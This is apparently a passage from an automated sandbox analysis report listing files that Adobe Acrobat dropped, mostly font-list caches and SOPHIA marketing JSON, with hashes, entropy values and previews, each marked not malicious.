SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7892

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.347473751125671
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJM3g98kUwPeUkwRe9:YvXKX2dn8Z2Zc0vKVGMbLUkee9
MD5:	3468CDDF5927DD75EF396A9DEA8DE0F8
SHA1:	F2C98D3B26CE49F46EEC32B21722903EC7487FD2
SHA-256:	82617F09EF8986C73E32DD79F870F9D25A5A321FD0D34FCCA453BF201B19F4FE
SHA-512:	BE06C24C9CFAEF2A2E84A85884BB23DFE14B618A5CBA2FD7924D1637BD5A6884FF0CA97528AC41BE67F263B996EC1A9A51A477C25E40D59CF16AE89B2492AAF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.296591296677197
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJfBoTfXpnrPeUkwRe9:YvXKX2dn8Z2Zc0vKVGWTfXcUkee9
MD5:	24946362CA7B16E3CCCE71D99DB9DCBA
SHA1:	4002C9487372554DE8915D91E10769EF18CA3402
SHA-256:	8AC023A5271D017A9546D4F77B6F6EAE34B07037DEA5F267792C55FA73A8EFED
SHA-512:	FBD56EA5E2E7A2216696737A75742C5C6B1C1E50175B7DC566C5B788A6BC2AA96C3452BF16FEC4E5D4E64C744905C5988F44791FAA98DC9451CFBD7CE5D0B069
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275586332072273
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJfBD2G6UpnrPeUkwRe9:YvXKX2dn8Z2Zc0vKVGR22cUkee9
MD5:	6FE15844BAF95ED49CF1F87B239E6AAB
SHA1:	C367167CF05630229C6A9E73360DBD5C8090F264
SHA-256:	AFC4F7C86ED4EF729B1C460B39CB11A1D958F5908CCE75D1C3D2A3D10DD115CA
SHA-512:	A4ACC38555C567DB5180A3C70862014B6B81E993595D6FDADA35644B796A2451062C03CE4B7982C9D45BAFD1F9B03EF31656AEE3931BF62A13205DF37210F376
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.333926726261479
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJfPmwrPeUkwRe9:YvXKX2dn8Z2Zc0vKVGH56Ukee9
MD5:	F4965BA967F55BBB15618CDAA92948F4
SHA1:	A10B2EDC7C81ACA1FC091591F1966489A09ED14E
SHA-256:	FBDFD9657E295ED98F37A7672FBF12AFF3285E65BF3395DD4F7078B7C1A51F71
SHA-512:	11B16A38D8E4EED04EEEC222F74E3541FD1D174A442069856C109EB20E3AFFA757817A68DFBC5FB56FCF2B80002C2A1192282D884B9711466B704C20FBBA8989
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687072433334085
Encrypted:	false
SSDEEP:	24:Yv6X2dnDzvjpLgE9cQx8LennAvzBvkn0RCmK8czOCCS/:YvVZLhgy6SAFv5Ah8cv//
MD5:	508D61613B2419F28E3B357D1570E2B5
SHA1:	59D6C83E227CAA4ACF7D607259E4BF244C026380
SHA-256:	65475D214B4734F0BDD1C909A5D28F57FB61253D5D3134555F773680BCD1EB3A
SHA-512:	0DA62B561056BA1FC4C0EF04896D019266CEA6F3F7033DC97F16C4C336DD892D13AA11D2B4A881A556BD3CF6109B6BBEC584D9DD1734772F6E88B9A493B2F1B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2816631228799915
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJf8dPeUkwRe9:YvXKX2dn8Z2Zc0vKVGU8Ukee9
MD5:	7289BCAE1D16B17964CA93C0959C6F1E
SHA1:	CA2679F9E57FDE913B611E9E6DE14492205558B2
SHA-256:	CBBD3D1AE2BD6D18FE3461A0F08456B43BD6B5A4A5F7D7005B887319ED5DD4CE
SHA-512:	9BDB380BFA8352FFE674FEAB47583DF3E37B2F35A83CAA2A36252E9E24DA669CEABA13161C4427151C10C8CD58A0A02ADF3A0B3B9240AF3F383BEE3C7F60F842
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.285752151077476
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJfQ1rPeUkwRe9:YvXKX2dn8Z2Zc0vKVGY16Ukee9
MD5:	9C0BC4EE829322A1F41AEDA7E36D85DB
SHA1:	08B419DB17226208167E2E7DE306C587E2FAB0EB
SHA-256:	867C64EE4460DA7C5B2C09FAF6EEA8C1A216D095DAD7616A09B939B97EFD1AB9
SHA-512:	8D69797002BD0809603B481D391D3095065C91D91FF22926DEFAA74B05123A4E386911B47F3317DF32441B76DA16D34711BB4434306E0CCC9F36FF00985009EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291471338893143
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJfFldPeUkwRe9:YvXKX2dn8Z2Zc0vKVGz8Ukee9
MD5:	D0AD57808B7CCE619BDB5A2D2BC60463
SHA1:	E69E41BAAC301C530BED7BC8C0B77EDF6B178E6E
SHA-256:	B59E40EE95E5F76954C6671679E95624A89D9A35CDA91BF57AD468D426F754D6
SHA-512:	966C3CADE0BCA6AABE92EB17F0B290F2F752D87EC0E57D9D3BC64DA284469B894ADF4480BC3AAF432075951F31D78C6165F8EE300295AA70FD62E1FECC465403
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.307065350605213
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJfzdPeUkwRe9:YvXKX2dn8Z2Zc0vKVGb8Ukee9
MD5:	BA4C6CE5D195B82CA95B75DAE669CBBB
SHA1:	4295E4ECA6F25C64C3865B029986A2D4EA08C07C
SHA-256:	3F292E3A6F04034497C89999368042307ED0A4E98FFFFD4842C4303B99DEF672
SHA-512:	47D5CDA5DDD41439EA0F41B27095CE2373A28B020F5DB20A98B694D1E5BB0D1371963D57B0A239E2029518EC0B0BBFAE321D827FA6DA617009CD21201C68E92B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28745376596755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJfYdPeUkwRe9:YvXKX2dn8Z2Zc0vKVGg8Ukee9
MD5:	07D411E2E873A3351432C6F532240E7F
SHA1:	CE53741A49FDBF9E99DC717F89A8432A400F5D24
SHA-256:	EB2BB86D881241C87BD0FDD5C55EEAB90E392FE917968E43B184BDF899077731
SHA-512:	A5959189EA99EFFBE1533E31303BFCD7081E869B0ABB12057370DF28E58A652EAC381498EFFDCBA71B70A53F3545FDDF589DDD15EEF603D0075D4AF2F459708A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.273582245316085
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJf+dPeUkwRe9:YvXKX2dn8Z2Zc0vKVG28Ukee9
MD5:	4F473E3B037FE494721014CE8D04659A
SHA1:	BD9E22722B6216332400DD75204950325E0D2758
SHA-256:	65AB726094040C7A6A49EEB4BAA53A1D930A30CFCD859D6876C70FDC06AF07F6
SHA-512:	DD2429274529E7134B71CE224C603ABD9E1BCDFC513A0203FF01DEB1BE8D19BF507C9059281E8066B3F276773D6C8D80BDADD3387B8B84E57C9BFAB6D275CD5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.271087092054008
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJfbPtdPeUkwRe9:YvXKX2dn8Z2Zc0vKVGDV8Ukee9
MD5:	E268295F93D66A84B7F1CA880F66CAB8
SHA1:	F93E7E886A629429A74DC9BBA883EA80ACCBA0B7
SHA-256:	9C304AE62185BE3F66ED3331805DB7254DACA94A3C96C8A6D08131C9C712226F
SHA-512:	5A5618A70E4B3E6AA60C0DCD49DA66542D063A41B116048628A06A3FA4DD7EE72E777AEF7DF6B170A3B707BCB7ACD055605B034F4C5605DD9A3F619F86CC0EA5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.275564886075322
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJf21rPeUkwRe9:YvXKX2dn8Z2Zc0vKVG+16Ukee9
MD5:	193B6C3C1E3A99D02A9401C4CA32BB9A
SHA1:	E3C60DBF5D9900D4F87DFE6598BC057E223A9C1F
SHA-256:	8A908925516153EEFE4C44E2E077D6CD1ED0DC4D4D5AB95C785D8E35AA652696
SHA-512:	D1CB33CC2BC5DE31530852D82C7E50D027E9AC06426429712FA8FB6103C1ED4BB651ED1370849CD62EC0C89AB94BF2F2B635A38336ACEF10F5E5C5C6EA49E9F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66426332182753
Encrypted:	false
SSDEEP:	24:Yv6X2dnDzvTamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS/:YvVZ7BgkDMUJUAh8cvM/
MD5:	6B8357722CB8322AE22AC8C2B09DFD1C
SHA1:	A01D660EEEBDEC677A6402C599BCE95243756736
SHA-256:	8B0C288473EF71BBF3AACB38563644F08D146075058D41022457CB5758F63B1F
SHA-512:	D288F2B722FE296FCD483C8B8E127285766B272C0947EDB7939B905BABC140AF6581F9BB7AE7A1F431DBB884D30D5799BFCD5F155ABAC8A7B9C8AE91430E3FA2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2521777718852825
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJfshHHrPeUkwRe9:YvXKX2dn8Z2Zc0vKVGUUUkee9
MD5:	667E21BB94AA3D8EFB4E343EF6041A9A
SHA1:	D3BA9851128937FF531ADC3992D7C7728645D39A
SHA-256:	741F5180DFF9BB92B789785C6B96FEF1281759E76FD0650B0FF6D6C132661E0C
SHA-512:	7E3963BB4E05B3AF6679BEABAD82E5B444D817C77171B1508F92EC1386D4EBE099A546A39CC78F2AA720B919329367F7BD191D0A6189889A236F0D0868E363A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261584075249613
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjCRd3n8ZHVoZcg1vRcR0YfeoAvJTqgFCrPeUkwRe9:YvXKX2dn8Z2Zc0vKVGTq16Ukee9
MD5:	9F9F86044A8BEA91AFB1CDCE5B47A4C9
SHA1:	23596236A1B71041A474C0E8A9EEE96371477E75
SHA-256:	79AB9E32B2DC36A1F3A51FF05705DE2BE872F13DC796B3569113EC1BE6C88C4B
SHA-512:	DC3795A287E926132DA880E2BA111DA43E27E4734EE79D7E2B378D9CD004D7B30F543198CDF3A1FA971DB692468B84716F7B1EC3F18E7FBA198D6876B73FD384
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f014b6f4-5245-4454-ba0e-941ceda40247","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736739379958,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1336450285349144
Encrypted:	false
SSDEEP:	24:YExvGaF1aywMU7ruYJfxkOUvh6HWvBW4sPjprj0SafMA3VTC2V12LSaRCZAcX565:Yw8fxXgWbxck41+HcJhL2QxuIdh9JIKm
